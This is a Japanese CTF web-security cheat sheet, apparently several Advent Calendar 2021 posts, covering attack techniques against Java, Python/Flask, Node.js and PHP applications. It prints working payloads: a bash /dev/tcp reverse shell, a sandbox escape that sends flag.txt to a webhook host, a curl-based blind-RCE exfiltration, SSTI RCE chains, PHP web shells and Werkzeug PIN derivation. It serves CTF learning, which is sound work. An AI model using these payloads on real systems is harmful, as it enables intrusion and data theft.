はまやんはまやんはまやん

hamayanhamayan's blog

CTFのWebセキュリティにおけるその他言語まとめ(C#, .NET, GO, Java, Perl, Ruby)

この記事はCTFのWebセキュリティ Advent Calendar 202120日目の記事です。

本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。

ASP.NET

Csharp

.NET

Go言語

Java

Thymeleaf

テンプレートエンジン。SSTIできるかも。

  • 使えそうな情報
    • Tutorial: Thymeleaf + Spring
      • Use Spring Expression Language (Spring EL) as a variable expression language, instead of OGNL. Consequently, all ${...} and *{...} expressions will be evaluated by Spring’s Expression Language engine.
      • SPELで使える攻撃が使える
  • 便利な記法 CTFtime.org / SharkyCTF / WebFugu
    • 全部の変数情報取得 html <tr th:each="var : ${#vars.getVariableNames()}"> <td th:text="${var}"></td> <td th:text="${#vars.getVariable(var)}"></td> </tr>
    • フィールドの確認 html <tr th:each="var : ${flag.class.declaredFields}"> <td th:text="${var.name}"></td> <td th:text="${var}"></td> </tr>
    • メソッドの確認 html <tr th:each="var : ${flag.class.getMethods()}"> <td th:text="${var.name}"></td> <td th:text="${var}"></td> </tr>
    • メソッド実行結果の確認 html <td th:text="${flag.getContent()}"></td>

Java EEのWAR形式

Java EEで開発されたWebアプリケーションを一つのファイルにパッケージする標準形式の一つ。 zipなので、zipにして解凍すればいい。 一回解凍してみたら、以下のような感じになっていた。 多分、META-INF, WEB-INFは固定であって、それ以外が普通のWebリソース?

  • root
    • META-INF
    • WEB-INF
    • index.html

Unsafe Java Object Deserialization

J2EE / Spring

  • セッション
    • JSESSIONIDって名前でCookie発行されてセッションIDが付与される
  • Spring Boot のデフォルトの状態では、404 Not Found 等が発生した際に Whitelabel Error Page というエラーページが表示される。

解析

  • jarファイルとかclassファイルをデコンパイルして解析してみる
  • jd-gui
    • apt-get install jd-guiでインストールしてjd-guiで起動するだけ
    • jar,classをD&Dすれば中身が見られる

テク

  • web.xmlが公開状態になっていないか
  • writeups
  • UUID.randomUUID()は暗号学的にも安全なUnique IDが得られる

Perl

Perl難読化

PerlのopenにはRCE脆弱性がある

https://www.ipa.go.jp/security/awareness/vendor/programmingv1/a04_01.html

|lsみたいなファイルパスを入れると|以降が実行されて結果が返ってくる

Ruby

CTFのWebセキュリティにおけるPythonまとめ

この記事はCTFのWebセキュリティ Advent Calendar 2021の19日目の記事です。

本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。

 >>> import os
 >>> print(os.path.join('/home', 'flag.txt'))
 /home/flag.txt
 >>> print(os.path.join('/home', '/flag.txt'))
 /flag.txt
  • subprocessはコマンドインジェクションができてしまう
    • 特にshell=Trueとなってたら危ない
    • subprocess --- サブプロセス管理 — Python 3.8.5 ドキュメント
      • shell=Trueを付けない、デフォルトの状態だと安全に渡される
      • 例えばcat flagを与えると、スペースがエスケープされて全体で1コマンド解釈されるので、shell=Trueを付けたりする
      • でも['cat', 'flag']を与えることで、shall=Trueが無くても正しく実行してくれる(しかも空白を制限できるのでやや安全)
  • cookieを使ってバイパス
    • CTFtime.org / DefCamp CTF 2020 Online / http-for-pros / Writeup
    • request.cookies['a']みたいにして、aをcookieに入れてやればいい
    • {{request[request.cookies['a']][request.cookies['b']][request.cookies['c']][request.cookies['d']][request.cookies['e']][request.cookies['f']]('subprocess')[request.cookies['g']](request.cookies['h'],shell=True)}}として -"a": "__class__","b": "_get_file_stream","c": "im_func","d": "func_globals","e": "__builtins__","f": "__import__","g": "check_output","h": cmdという感じ
  • re.sub(r'([^_\.\sa-zA-Z0-9])', r'\\\1', s)
    • とやると\nは変換されない
  • 脆弱性
  • 文字列しか扱えないとき
    • f"{__builtins__['__import__']('os').__dict__['popen']('ls').read()}"みたいにf"{}"で囲んで文字列化
  • プライベート変数を参照したいとき
  • __dict__インスタンスの変数が参照可能 instance.__dict__['private_var_name'] = 'private_var_value';
  • メモリを改ざんすることで数値をいじるテク
    • pythonでは全てがオブジェクトとして管理されており、数値もオブジェクトとしてメモリに実質的な値が格納されている。よって、メモリをいじることで数値の評価値を変えることができる
    • Python - Pythonのid関数は一体何を指しているのか?|teratail
      • id関数でメモリの場所が抜けるが、色々実装依存の所があるっぽい
    • 🔰 SECCON Beginners CTF 2021 作問者 Writeup - Qiita
      • 要求としては42の数値を書き換えたい
      • 数値42の先頭アドレスを取得する id(42)とするのが理想だがこの問題では5文字までの制限があるのでid(1)として41 * 32を足すことでid(42)を求めている
      • 1のアドレス+24からが数値の中身を管理する領域なのでここまでseekして書き換える
      • 問題ではHackを書き込むので、これが32bit整数として評価されるので42はかなりでかい数値として評価される事になってフラグを得る
  • pythonのcodingをraw_unicode_escapeを使って、コメント部分を実行させるテク
  • 文字種が限定されている場合のRCE
  • メモ
    • type(int("1_1")) = <class 'int'>int("1_1")=11となる
  • pdb.post_mortem(e.__traceback__)みたいなコードがあれば、ここに到達すればPDBが起動する。
  • pycを解析する

ライブラリ

  • Flask,Twig
    • HackTricks
    • python向けのウェブアプリケーションフレームワーク
    • セッションの形式が特殊でわかりやすい
    • {{ config.items() }}とやることで、いろんな情報を表示できる {{config}}でも抜ける
    • https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
    • secure_filenameは強い。
    • debug modeの場合は/consoleが怪しい
      • consoleにPINコードがかかっているときの解析方法。LFIができれば解析可能
      • Workerbee Walkthrough (Werkzeug Debug Pin generation) - YouTube
        • werkzeug - HackTricks
          • ここの末尾にPINコードを作成するpythonコードが添付されているのでこれを埋めるようにして、情報をかき集めていく
        • probably_public_bitsを埋める
          • 1番目
            • /proc/self/environから環境変数USERを取ってくるUSER=loremipsum
          • 2番目はそのまま
          • 3番目
            • /proc/self/cmdlineをするとloremipsum.pyというファイル名だと分かる
            • loremipsum.pyを取ってくるとapp = Flask(__name__)とあるので、ここはこのままFlaskでよい
          • 4番目
            • エラー画面を見ると/usr/local/lib/python3.6/dist-packages/flask/app.pyとあるので、python3.6に修正する
        • private_bits
          • 1番目
            • /proc/net/arpを見るとDeviceはeth0であると分かる。
            • /sys/class/net/eth0/addressとしてMACアドレスを取得する02:42:ac:1b:00:02
            • これを16進数でつないで10進数に変換すると得られる print(0x0242ac1b0002)=2485378547714
          • 2番目
            • 以下2つをそのままつなげたものを入れる
              • /proc/sys/kernel/random/boot_idb875f129-5ae6-4ab1-90c0-ae07a6134578が得られる
              • /proc/self/cgroupの最初の要素のハッシュ値みたいなやつを取ってくる
                • 11:memory:/docker/e8c9f0084a3b2b724e4f2a526d60bf0a62505f38649743b8522a8c005b8334aee8c9f0084a3b2b724e4f2a526d60bf0a62505f38649743b8522a8c005b8334ae
            • よって、b875f129-5ae6-4ab1-90c0-ae07a6134578e8c9f0084a3b2b724e4f2a526d60bf0a62505f38649743b8522a8c005b8334ae
        • これで実行するとPINコード126-739-410が得られて、使えば答え
    • Flaskのセッション管理
      • format
      • Cookieにセッションの内容が全部入っている。secret_keyがあれば署名も可能
        • Cookieにセッションの内容がすべて入っている(スレートレス)状態になっているため、ログアウトしてCookieを削除しても、それを予めとっておいて再送すればログイン中のセッションとして使用できる
        • つまり、ログアウトの目的の1つである、古いセッションを削除して、dropcatchされても問題ないようにするという解決法が意味をなさない
          • 緩和策としてセッションの寿命を短くしておくことが挙げられる
      • sstiできるなら、configからsecret_keyを抜き出すことも可能
      • flask_jwtを使うことでjwtが使える
      • Tools
        • GitHub - noraj/flask-session-cookie-manager: Flask Session Cookie Decoder/Encoder
        • flask-unsignツールを使うと簡単にブルートフォースで解析可能
          • インストール pip install flask-unsign flask-unsign[wordlist]
          • 中身見る flask-unsign -d -c "[cookie]"
          • パスワード解析 flask-unsign -c "[cookie]" --unsign
          • 作り直す flask-unsign --sign --secret password1 --cookie "{'flagship': True, 'username': 'toto'}"
        • 辞書攻撃が効く問題も見たことがある
          • rockyou.txtで解析したいとき flask-unsign -c "[cookie]" --unsign --wordlist tools/rockyou.txt --no-literal-eval
    • send_fileするときにMIMEタイプが設定されていない場合は、拡張子からMIMEタイプが推論されて付与される
  • flask_admin
    • クラスでモデルを作ってDB編集を簡単に行えるようにしたフレームワーク
      • from flask_admin import Adminみたいにインポートしてる
    • これを使えば以下ルールでDBをいじれる
      • /admin/[Table名]/ Table内容を確認する
      • /admin/[Table名]/edit/?id=XX id=XXである要素を編集できる
      • /admin/[Table名]/new Tableに新しい要素を追加する
    • 問題
  • Flaskのwerkzeugで使われるパスワードハッシュ
    • from werkzeug.security import generate_password_hashで使われるパスワードハッシュ
    • pbkdf2:sha256:150000$ODedbYPS$4d1bd12adb1eb63f78e49873cbfc731e35af178cb9eb6b8b62c09dcf8db76670こんなかんじ
  • jinja
    • RCE1
      • getパラメタを使ってうまくフィルターを回避する例
      • URL/apply?x=__class__&l=os
      • データ{{(config|attr(request.args.x)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')(request.args.l)|attr('popen')('id')|attr('read')())}}
    • RCE2
      • {{request.environ.__getitem__('gunicorn.socket').dup.__func__.__globals__.__getitem__('o''s').__builtins__.__getitem__('__import__')('subprocess').check_output(('bash','-c','cat strategyguide.txt'))}}
  • Tornade
  • Pickle
  • weurkzerg
    • デバッグモードが有効だと、エラー時に任意のpythonコードを実行できる
    • /consoleでInteractive Console使えるかも
  • helpを使った変数表示

CTFのWebセキュリティにおけるJavaScript,nodejsまとめ(Prototype pollution, 難読化)

この記事はCTFのWebセキュリティ Advent Calendar 2021の18日目の記事です。

本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。

JavaScript / node.js

  • RCEワンライナー
    • console.log(process.mainModule.require('child_process').execSync('ls -la').toString());
    • 適当にコマンドインジェクションするとき
      • いろいろ&&コマンド;//いろいろみたいな感じにするといい。前半の色々はちゃんと実行できるように頑張ること
    • リバースシェル
      • require("child_process").exec("bash -i >& /dev/tcp/[IPAddress]/[Port] 0>&1");process.exit();
  • x = ~~x;としてあると、xに文字列は使えず、整数しか使えない
  • encodeURIはエスケープとして不適切
  • GET parameterは複数回指定することで上書き可能
    • なるほど。今回は最後に入力したものが採用されるみたいだけど、確か実装依存。前調べたときのメモには以下のように書いてあった
    • ?username=abc&username=efg
      • $_GET["username"] -> efg
      • new URL(location).searchParams.get("username") -> abc
  • document.writeでHTMLを書き込むと直後に再レンダリングしてくれる
    • scriptタグがあれば実行もされる
  • 途中にコメントを差し込んでも実行される
    • alert(document/**/.domain);は実行される
    • alert(docum/**/ent.domain);のようにキーワードをぶった切る場合は動かない
  • String.prototype.includes()
    • 文字列のincludesは大文字小文字を区別する
    • 'Blue Whale'.includes('blue') // returns false
  • innerHTMLとtextContent
  • Spread operatorは他の引数をoverrideできる
    • database.addData({ type: 'paste', ...req.body, uid });となっている場合、bodyにtypeがあると値をoverrideできる
    • corCTF 2021 // Tom Plant
  • Cross-window communication
  • The clickjacking attack
    • 参考になる資料
  • function () { ... }を短縮する
    • アロー関数化する()=>{}
    • 引数はずれてても大丈夫なので、x=>{}みたいに適当に与えればいい
  • .toString()するよりも+''としてキャストさせると短い
    • +0でも文字列化できる(最低function時のときは)
  • 文字列を適当に変換する [...str]+''
    • str='abc'[...str]={'a','b','c'}[...str]+''='a,b,c'
  • arguments変数
    • (function () { return () => arguments[0]})(() => {; /* ${FLAG} */ })()みたいに、無名関数で引数が与えられてなくてもarguments配列を使えば読める
  • 即時関数で複数指定すると後半が実行される
    • (function(){return"A";},function(){return"B";})()とするとBが帰る
  • bind関数
    • functionに対してbind関数を使うと、thisに値を代替できる
    • (function () { return String(this)[char_offset]}).bind(()=>{; /* ${FLAG} */ })()
      • thisに()=>{; /* ${FLAG} */ }が入る
  • URLのhashから実行コードをとってくる方法
    • eval(decodeURIComponent(location.hash.slice(1)))とかいて、URL末尾に#[base64-encoded jscode]をつける
  • GitHub - cure53/H5SC: HTML5 Security Cheatsheet - A collection of HTML5 related XSS attack vectors
  • XSSのWriteup集
  • iframeのsrcdoc
    • <iframe srcdoc="[html-tag]"></iframe>とすることでsrcdoc内部でHTMLのタグ、scriptタグが実行できる(XSSできる)
    • これを使うとoriginを変更して実行できる?(よくわかってない)
  • 改行 <CR>/<LF>/U+2028/U+2029
  • s = {"title":[userinput]}; title="title:"+s.title;の場合、[userinput]に{"toString":null}とやると、エラーを引き起こすことができる
  • window.locationまとめ 例 https://example.com/admin?x=huge&y=piyo#hogehoge
    • window.location.href = "https://example.com/admin?x=huge&y=piyo#hogehoge"
      • 全部
    • window.location.protocol = "https:"
    • window.location.host = "example.com"
      • 注意点。https://example.com:26/のようにポートが80じゃないならexample.com:26となる。なお、https://example.com:80/ならexample.com
    • window.location.hostname = "example.com"
      • こっちはポートがあってもなくてもホスト名だけ
    • window.location.port = 80
    • window.location.search = "?x=fuga&y=piyo"
    • window.location.hash = "#hogehoge"
    • window.location.pathname = "/admin"
  • 弱い比較
    • ['admin'] == 'admin'がtrueであるが、['admin'] === 'admin'はfalse
  • nodejsでfsモジュールのreaddirを使えばls相当が可能
  • stringのreplaceは最初に見つけた1つ目しか変換されない
  • jsは配列もstringも同じような関数が使えるので、配列を与えてみるとうまくいったりする
    • includesとかindexOfとかsliceとか
    • 配列はstringに変換されると、['a','b','c']a,b,cのようにコンマ結合される
  • Hoisting
    • jsでは定義が実行より後ろであっても上手い事動くし、書き換えもできる
    • function f() { console.log('pre'); } f(); function f() { console.log('post'); }を実行するとpostと出てくる
    • これを利用して、コードの先頭でほぼ使われているrequireを上書きして、予期せぬタイミングで任意コードを実行するテクがある ここ
  • overrideされたスコープ外の要素を参照したい時
  • 関数をtoStringするとコメントも一緒に出力される
  • arguments.callee
    • use strict下では使えないが、色々な関数にまつわる情報が抜ける
  • JavaScriptRegExp オブジェクトは、global または sticky フラグが設定されている場合 (例えば /foo/g や /foo/y) はステートフルになります
    • RegExp.prototype.exec() - JavaScript | MDN
    • CakeCTF 2021 writeup - st98 の日記帳 - コピー
    • そのため、let filter = /(\'|\\|\s)/g;というフィルタでfor (let name of neko_name) { if (filter.exec(name.toString()) === null) {こういう使われ方をしていると、neko_nameに同じ文字列を与えたとき、その文字列に対して先頭からフィルターにヒットするものを順番に返していって、末尾まで来たらnullとなり、フィルターを抜け出してしまう
  • innerTextを使うと自動でサニタイズされる
  • Webpack
    • デバッグ時に利用するために、バンドル前のソースコードとバンドル後のソースコードの行の対応関係を保持している「ソースマップ」というファイルを出力することがあります。
      • 一般的にソースマップファイルはトランスパイル後のファイル名のあとに.mapを付与したファイル名になっています。
      • ここでは、main.jsのファイルのソースマップファイルがmain.js.mapに存在していることがアクセスをするとわかります。
  • パラメタを配列にしてうまくバイパスする
    • https://example.com/page?path[]=x&path[]=index.phpこんな感じにすると、パスがx,idnex.phpと認識されたりする。
      • nodejsでは、配列を文字列解釈したときにカンマ結合するためである。
    • このままだとうまく使えないので、結合時でもうまく動くように調整する
      • https://example.com/page?path[]=x&path[]=/../index.phpとすると、x,/../index.phpとなって、元のリクエストと同じになる。
  • AST Injection

プロトタイプ汚染攻撃 Prototype pollution attack

ライブラリとかフレームワークとか

  • node-mysql-native
    • JSのMySQLライブラリ
    • connection.query('SELECT * FROM users WHERE id = ?', [id]のidに何が入ってるとどうなるか
    • 攻撃例
      • const sql = 'Select * from users where username = ? and password = ?';con.query(sql, [u, p], function(err, qResult) {となってる
      • これでusername=michelle&password[password]=1とすると、SELECT * FROM users WHERE username='michelle' AND password=`password`='1'となる
      • password=`password`='1'これが恒真らしい、なぜだ…
  • dotenv
  • Angular
    • URLで\をスラッシュとして使用可能。パーセントエンコーディングはデコードされる。
    • SSRF
      • Angularでthis.http.get('/api/answer')のようにリクエストを飛ばしている箇所があれば、PROTOCOL + HOST + / PATHでアクセスする
      • なので、HostにCNAMEで127.0.0.1/api/true-answerを指すようにしたドメインを指定すれば、https://127.0.0.1/api/true-answer/api/answerのようにSSRFできる
      • 適当なサイトに誘導してリダイレクトで127.0.0.1/api/true-answerへ飛ばせば、SSRFを達成できる。
    • TokyoWesterns CTF 2020 | writeups by @terjanq
      • AngularのSecondary segments - Angular Routerという機能を使ってバイパスする
      • これを使うだけ http://another-universe.chal.ctf.westerns.tokyo/(primary:debug/answer).
      • primaryを使うのみがミソっぽい
    • ペイロード
  • Inspector
  • v8ライブラリ
    • ヒープが抜き出せる
    • const v8 = require('v8'); const memory = v8.getHeapSnapshot().read(); console.log(memory.toString());
    • これだけ。この問題では量が多いので、sliceで抜き出して答えている
  • Lodash
    • 4.17.4にはプロトタイプ汚染の脆弱性がある
  • hbs
    • テンプレートエンジンであるhandlebars.jsをexpressから使えるようにしたもの
    • The Secret Parameter, LFR, and Potential RCE in NodeJS Apps
      • LFR (:Local File Read)ができる
      • router.post('/', function(req, res, next) { res.render('index', req.body.profile) });みたいに呼び出すときに
      • curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://[attackhost]/'とすると、./../routes/index.jsを出力してくれる
      • 修正: res.render('index', { profile })のように直下におかないようにするのがいいみたい
    • 4.0.3以下ならHandlebars.jsでRCE脆弱性がある Handlebars template injection and RCE in a Shopify app
  • jpv
  • querystring
    • expressのPOSTでbodyからquerystringを受け取ってconst { p } = querystring.parse(body)みたいにパースしているとき
      • curl http://34.84.5.211/ -d 'p=1&p=%ff/NN/NN/NN/flag' -H 'Content-Type: text/plain'
      • こんな感じにNを使うことで.を表現できる
  • axios
    • axios 0.21.0
      • SSRFできる Requests that follow a redirect are not passing via the proxy · Issue #3369 · axios/axios · GitHub
        • 参照先からリダイレクトさせるとプロキシを通さない(アクセス制限しててもbypass可能)
        • 単純に以下のようにして、ここにアクセスさせるとhttp://127.0.0.1/adminにリダイレクトするが、これはproxyを通さず表示可能 js const http = require('http') http.createServer(function (req, res) { res.writeHead(302, {location: 'http://127.0.0.1/admin'}) res.end() }).listen(5566)
  • Mermaid
  • JSDOM
    • DOMをjsで作るもの(よくわかってない)
    • ここで作成されたDOMでonclickとかが呼ばれた場合はサーバ側のDOMとして動作するので、サーバ側でRCEができる感じになる
    • ただ、サンドボックス上で評価されるので工夫が必要であるが、vmモジュールを使ったサンドボックスなので、既知の脱獄手順を使ってホスト上でRCEしよう
    • corCTF2021の課題•ブライスのブログ
      • <button class="next" onclick="const ForeignFunction = this.constructor.constructor;const process = ForeignFunction('return process')(); const require = process.mainModule.require; require('http').get('http://webhook.x.pipedream.net/?q=' + require('fs').readFileSync('flag.txt'));">next</button>
  • DOMPurify: JS向けサニタイズライブラリの定番。結構強いから、基本的には抜けない。
  • Express
    • app.use(bodyParser.urlencoded({ extended: true }))
      • これがあるとGETパラメターに配列、連想配列を指定することができる
      • x[]=a&x[]=bだとx=['a','b']
      • x[a]=1&x[b]=2だとx=[a: '1',b: '2']
    • ルーティングの文字は大文字小文字区別しないのでrouter.get('/flag', (req, res) => {とあったら/FLAGでもアクセス可能
    • リクエストがどうなったら終わるか
      • return res.status(400).send('deploymentId required!').end();のようにendがついてたら終わる
      • return res.status(402).set('X-Billing-Account', account);のようにendが無くて、nextがあれば、nextへ遷移する(!!)
  • React

jQuery

  • danger
    • userinputがそのまま出力されるケース
      • $("#element").html([input]);
      • $("#element").append([input]);
    • v1.6.2以前
      • $(location.hash)として#<img>を与えるとimgタグが作られる
  • safe
    • $btnFacebook = $('<div />', {"data-href" : "[input]"})のように辞書形式でpropertyを指定すればhtml化されてもうまいことエスケープされる
    • $("#X").text([input]);
  • jQueryのgetJSONはcallback=?がURLに含まれる場合にはJSONPとして解釈する
    • this.contest = await $.getJSON(`/${location.hash.slice(1)}.json`)みたいになっていたら#/example.com/aで外部の//example/a.jsonを見に行ってくれる
    • この場合に/example.com/a.js?callback=?&とすればjsを実行してくれる

TypeScript

JavaScript難読化

  • Javascript Obfuscator
    • javascript-obfuscator/javascript-obfuscator: A powerful obfuscator for JavaScript and Node.js
    • よく見るし、業界標準?(業界人でないので分からないが、資料はたくさん出てくる)
    • リソースを出力する謎関数を作成する。
      • 手作業で分解するのはだいぶつらいので、Chromeデベロッパーツールでブレークして、使われている_0x2384('0x3')みたいなやつの中身を見ていくのがオススメ。
    • 0x3936 のような特徴的な識別子、debugger 文による解析妨害、0x487fdb(0xd9, 'og)h') のようによくわからない関数を呼び出して文字列等を取り出しているといった特徴がある。
  • JSFuck
  • うーにゃー
  • 難読化解除テク(と言ってもほぼ根性)
  • Chromeのローカルオーバーライド
    • これを使うと、ページを再読み込みしても修正されたjsなどを実行できる。
      1. やりたいサイトでデベロッパーツールを開く
      2. SourceパネルのOverridesタブを開く、適当なフォルダを指定する(どこでもいい)
      3. Pageタブを開き、修正をローカルで永続化しておきたいファイルを右クリックして、Save for overridesを選択する
      4. これでオーバーライドできたので、適当に修正して、実行する
    • javascriptであれば、オーバーライド後に、Networkパネルから目的のjsファイルを選択して、Previewタブを開くと、ちょっときれいになったjsが得られるので、それを持ってきて、オーバーライドしたところで上書きするとちょっと幸せになる。console.log(見たい変数);でバンバン入れて、中身を見ていこう。
  • 何を探すか
    • jsだと暗号化とかも自前でやってるから、encryptとかdecryptとかのキーワードで探してみると何か出てくるかも
    • どこかで外部からデータを持ってきているなら、SQLiができるかもしれない
      • httpとかで検索したら良い感じのURL出てくるかも
  • 参考
  • debugger文を使った解析妨害コード
    • Securinets CTF Quals 2021 の writeup - st98 の日記帳
    • Chrome Developer Toolsがsource codeをbeautifyする前に(もしくは、している間に)ブレークさせる
      1. Chrome Developer Toolsを開く(解析妨害コードでブレークする)
      2. ブレークしている状態で本当にブレークさせたい所にブレークポイントを置く
      3. 一旦閉じる
      4. Chrome Defveloper Toolsを開くと同時に、ブレークさせたい所が発動するようなアクションをする(例えばボタンを押す)
      5. すると、解析妨害コードよりも先に手順4のアクションが優先され、ブレークさせたい所でブレークさせることができる

CTFのWebセキュリティにおけるPHPまとめ

この記事はCTFのWebセキュリティ Advent Calendar 2021の17日目の記事です。

本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。

Webサーバのフロントエンド(最近はそうでもないか)、バックエンドとして普及しているPHPにはセキュリティ的課題が多い。

  • <?php eval($_POST['cmd']); ?>となりうるコードがあると危険
  • ワンライナー一覧
    • RCE passthru("cat /f*") system("ls -la ./"); <?='cat /flag'; <?=`$_GET[0]`; ?> <?php system($_GET["c"]); ?>
    • ls foreach(new DirectoryIterator('glob:///*') as $f){ echo $f."\n"; } print_r(scandir('./')); var_dump(scandir("/var/www/html")); scandir(__dir__) opendir() readdir()
    • cat readfile(glob('*')[0]); eval(system('cat / flag')); show_source('./flag.txt');
      • 試してない file_get_contents('f1@g.txt')
      • base64で出したい var_dump(base64_encode(readfile("../../../flag.so")));
      • includeで引っ張れたりもする include '/etc/f1@g.txt';
      • $process = proc_open('/flag_x', array(1=>array("pipe","w")), $pipes); echo stream_get_contents($pipes[1]);
    • 定義済み配列をすべて出す print_r(get_defined_vars())
    • ブラインドRCE $output=shell_exec(\"ls\");shell_exec(\"curl -XPOST -d'data=$output' [url]"\"); ここ
  • phpファイルを動かすには
  • artyuum/Simple-PHP-Web-Shell: Tiny PHP Web shell for executing unix commands from web page
    • 便利なWebShell
  • xorを使ったバイパス方法がある
    • eval("echo ".eval("return ".$_GET["calc"].";").";");
      • こういう感じで1回実行されて、さらに実行されれば使える
      • '^()が使えれば大体は作れる
    • ('??????'^'??????'^'??????')のように3つの文字列のxorで大体作れそう
    • CTF-Writeup/README.md at main · vichhika/CTF-Writeup
      • 良い感じのジェネレータを公開してくれてる
  • 4*4とか入れて16とか出てきたらプログラムとして解釈されている恐れがある
    • 試しにsystem(ls)とかを入れてみて、動くか見てみる
  • source
  • 画像ファイルのヘッダーを見てアップロード可能かを決めてる場合にヘッダーだけ付け替えてバイパスする
  • eval("echo 'Hello ".$a."<br>$flag';");で実行する
    • ',system('id'),'でidで普通に実行できる
    • ',('system')('id'),'こうしてもidが実行可能 ',('system')('id'+),'
    • ペイロード
      • ',('system')('ls+/'+),'
      • ',('system')('od+/*'+),'
  • 限られた文字でPHPコード実行をする
  • LFI: Local File Injection
    • 例えば?page=homeとか?page=ab.phpとかなっていれば、LFIが使える場合がある
    • PHP的には12($_GET['page']);のような感じになっている
    • LFIの詳細については、別途ページで記載予定。簡単に今は書いておく
  • include先でechoしているものはechoされた後のコードで得られる
    • echo $_GET['a']; include($_GET['b']);というindex.phpがあるとする。
    • /index.php?b=http://localhost/index.php/?a=%3C?system(%22ls%22);?%3EでRCE成立
  • Unsafe Deserialization
  • XXE
    • simplexml_load_string関数
  • SQL Injection
  • PHP Type Juggling
    • PHPの比較は弱いことが知られている
    • !strcasecmp($_POST['flag'], $flag), strcmp($_POST['password'], $password) == 0
      • 実はバイパス可能
      • $_POST['flag'] = []となるようにPOSTで与えてやれば、全体をtrueにすることができる
      • 配列を渡すにはflag%5B%5D=こんな感じにすればいい(flag[]=のURLエンコーディング後)
      • htmlでは<input type="hidden" name="flag[]" value=""/>こんな感じ
    • '1234a' == 1234は真となる
      • でもis_numeric('1234a')はしっかりfalseなので、is_numericのバイパスに使える
      • "1abc" == "0abc" + 1も真(!) ここ
    • magic hash
      • '0e????' = '0'が成り立つ。左辺はMD5ハッシュで出てくる可能性があるので、ハッシュを調整してこの状態を作る問題がある
        • ?には0-9が入る必要がある
      • この問題では、./flag.txt, .//flag.txt, .///flag.txtのようにスラッシュを増やしていっても問題ないことを利用してハッシュを変えて全探索していた
        • 881回スラッシュで出てきた
      • magic hash一覧 https://github.com/spaze/hashes
        • MD5 QNKCDZO 240610708
        • SHA256 34250003024812 aaroZmOk 0e9682187459792981
    • 0は000.0
  • parse_url関数
    • バージョンによってはhttp://websec.fr/level25/index.php?page=main&send=%E9%80%81%E4%BF%A1&a=1:2が失敗する
    • :が値に入っていると失敗する。失敗すると、戻り値がnullになる
  • $_SERVER['PHP_SELF']とbasename関数
    • Injection可能 $_SERVER['PHP_SELF']は危険? - [PHP + PHP] ぺんたん info
    • basename関数は、localeを適切に設定しないと、マルチバイト文字を無視する仕様になっている
      • より具体的には\x80-\xffを無視する?
    • 以下実験メモ
      • http://localhost/index.php/config.php
        • $_SERVER['PHP_SELF'] = /index.php/config.php
        • basename($_SERVER['PHP_SELF']) = config.php
      • http://localhost/index.php/config.php/a
        • $_SERVER['PHP_SELF'] = /index.php/config.php/a
        • basename($_SERVER['PHP_SELF']) = a
      • http://localhost/index.php/config.php/あ?source ※ %E3%81%82 = あ
        • $_SERVER['PHP_SELF'] = /index.php/config.php/あ
        • basename($_SERVER['PHP_SELF']) = config.php
  • $address = filter_var($address, FILTER_VALIDATE_EMAIL);でメールアドレスチェック
    • ""@a.bとすると通る
    • 例えば"'whoami'"@example.comとすると、whoamiが解釈されて"markus"@example.comとなったりする
    • '||1#@i.iもvalid(SQLinjectionで成功する)
    • RCEもある
      • "attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php "@email.coこんな感じ?ちょっと分からない
  • エラーについて
    • エラーを出したいとき(未検証)
      • error_reporting(E_ALL); ini_set('error_reporting', E_ALL); ini_set('display_errors', '1');
    • エラーを表示させない
      • ini_set("display_errors", 0);
  • GETリクエストの解釈違い
    • ?username=abc&username=efgとなった場合
      • $_GET["username"] -> efg
      • new URL(location).searchParams.get("username") -> abc
  • PHPでリダイレクトをしたらdie,exitを呼び出しなさい
  • PHPのgetパラメタ配列化Attack
    • CTFtime.org / Chujowy CTF 2020 / SHA256 Collision
      • https://web5.chujowyc.tf/?a[]=0&b[]=1で突破可能
      • $ha = hash("sha256", $_GET['a']); // $ha === null
      • $_GET['a'] !== $_GET['b']のように配列の===比較では中身までちゃんと見てくれる
  • .user.ini
  • ob_start関数
    • バッファを一旦保持しておいて、決まったタイミングでflushする機構
    • ob_startで保持されたバッファは、fatal errorが発生すれば強制的にflushされたりする
      • CTFtime.org / 3kCTF-2020 / xsser
      • この問題では、unserialize関数でO:11:"Traversable":0:{}を入れてfatal errorを起こしていた
        • Traversableクラスは抽象クラスなので、抽象クラスを作ろうとしてfatal errorが出てくる
  • is_numeric
    • 数値の前に%09, %20,%0a,%0b,%0c,%0dが来てもtrueになる
    • trueになるやつ 1e9
  • preg_replace関数/str_replace
    • 1回しかreplaceしないので、selSELECTectみたいにすればバイパスされてしまう
    • preg_replaceに任意入力できる場合はRCEの危険性がある
      • Command Execution | preg_replace() | RCE | Roshan Cheriyan | Medium | Medium
        • echo "replaced : ".preg_replace($_GET['pattern'], $_GET['replacement'], $_GET['subject']);となってる場合
        • index.php?pat=/a/e&rep=phpinfo();&sub=abcとやればphpinfo();が実行される
        • index.php?pat=/a/e&rep=system(‘id’);&sub=abc
          • 平たく言うとpreg_replace("/a/e", "system(‘id’);", "abc");となる
        • 緩和策も書いてある
  • md5関数の誤用
  • $_SERVER['HTTP_X_FORWARDED_FOR']
    • リクエストHTTPのヘッダーで外部から自由にインジェクション可能
    • X-Forwarded-Forヘッダーで入れればいい
  • time()
    • Unixタイムスタンプを返すので、類推可能
    • 例えば、2020/11/18 20:54:21(JST)なら$time = (new DateTime('2020-11-18 20:54:21', new DateTimeZone('Asia/Tokyo')))->format('U');Unixタイムスタンプが得られる
    • ID推測とかで使用するときは、Burpに残ってる時間ピッタリだけでなく、周りの時間が使われている可能性も考えること(秒単位でクライアント・サーバが一致していないかも)
    • CTFtime.org / SPbCTF's Student CTF 2020 Quals / eSick
      • この問題では、timeとuuidからファイル名を類推するが、timeがどれかが微妙にわからないので候補を全部作って、BurpのIntruderを使ってヒットするものがないか探す
